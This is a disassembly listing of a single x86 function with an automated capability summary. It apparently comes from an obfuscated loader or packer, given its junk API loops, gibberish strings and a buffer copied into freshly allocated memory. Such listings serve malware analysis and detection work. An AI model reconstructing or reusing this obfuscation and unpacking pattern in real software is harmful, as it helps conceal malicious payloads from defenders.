Function at 0x409de0
Capabilities:
Get common file path
Set current directory
Set file attributes

Disassembly:
sub esp, 0x834
mov eax, dword [0x450008]
xor eax, esp
mov dword [esp + 0x830], eax
mov eax, dword [0x2b0b3cc]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor esi, esi
or ebx, 0xffffffff
cmp eax, 0x8cf
jne 0x409e21
push 0
push str.pojucexutebekuyi_maboboxecocuperici_nehipahibo_wusajaj
lea eax, [esp + 0x44]
push eax
call edi
mov eax, dword [0x2b0b3cc]
cmp esi, 0x162
jne 0x409e38
mov eax, dword [0x451cf4]
add eax, 0xa231
mov dword [0x2b0b3cc], eax
cmp eax, 0x141
jne 0x409e4f
mov dword [0x452af8], 0xec58acac
mov dword [0x452afc], ebx
inc esi
cmp esi, 0x129916c
jl 0x409e07
mov edi, dword [sym.imp.KERNEL32.dll_AddAtomA]
xor esi, esi
cmp esi, 0x562d05
jne 0x409e74
mov ecx, dword [0x450ed8]
mov dword [0x2b0b3d0], ecx
cmp eax, 0x3c
jne 0x409e82
push 0
call edi
mov eax, dword [0x2b0b3cc]
inc esi
cmp esi, 0x5f6c74
jl 0x409e60
cmp eax, 0x7c
jne 0x409f02
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
lea ecx, [esp + 0x3c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [0x2b0b3cc], 0x2d
jne 0x409ee4
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0x44e356
push 0x452a70
call fcn.00401015
push 0
call fcn.004010e8
mov eax, dword [0x2b0b3cc]
add esp, 0xc
cmp eax, 0x110a
jne 0x409f94
mov edx, dword [esp + 0x10]
xor eax, eax
push edx
push eax
mov dword [0x2b0b298], eax
mov dword [0x2b0b29c], eax
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
push str.cawaxukuyuberuyonoxabacizipime_tebofutocat
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.golufemakot
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
push 0
push 0
lea eax, [esp + 0x48]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea ecx, [esp + 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
push 0
call fcn.00401092
push 0
push 0
call fcn.00401092
push 0
call fcn.00409a04
push 0
push 0
call fcn.00401092
push 0
push 0
call fcn.004010f3
add esp, 0x24
push 0
call fcn.004015ae
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b0b0ec], eax
cmp dword [0x2b0b3cc], esi
jbe 0x40a007
mov edi, dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
mov ebx, 0x19b0
jmp 0x409fc0
mov edx, dword [0x2b0b3d0]
mov dword [esp + 0xc], edx
mov eax, 0xa231
add dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov cl, byte [eax + esi]
mov edx, dword [0x2b0b0ec]
mov byte [edx + esi], cl
cmp dword [0x2b0b3cc], 0x5ab
jne 0x409ffe
lea eax, [esp + 0x14]
push eax
push 0
call edi
mov dword [0x2b0b0f0], ebx
inc esi
cmp esi, dword [0x2b0b3cc]
jb 0x409fc0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00409b60
call fcn.00409b40
call fcn.00409da0
call fcn.00409b30
mov ebx, dword [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomA]
xor esi, esi
lea ecx, [esp + 0x3c]
push ecx
call edi
cmp esi, 0x408e
jle 0x40a049
cmp ebx, 0xf5bed7
jne 0x40a052
inc esi
cmp esi, 0x687ed2
jl 0x40a032
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov ebx, 0x1e4165
mov edi, 0x8e46a6f0
jmp 0x40a070
cmp dword [0x2b0b3cc], 0x7c4
mov dword [0x2b0b0f4], edi
jne 0x40a088
push 0
push 0
call esi
sub ebx, 1
jne 0x40a070
mov ecx, dword [esp + 0x83c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
add esp, 0x834
ret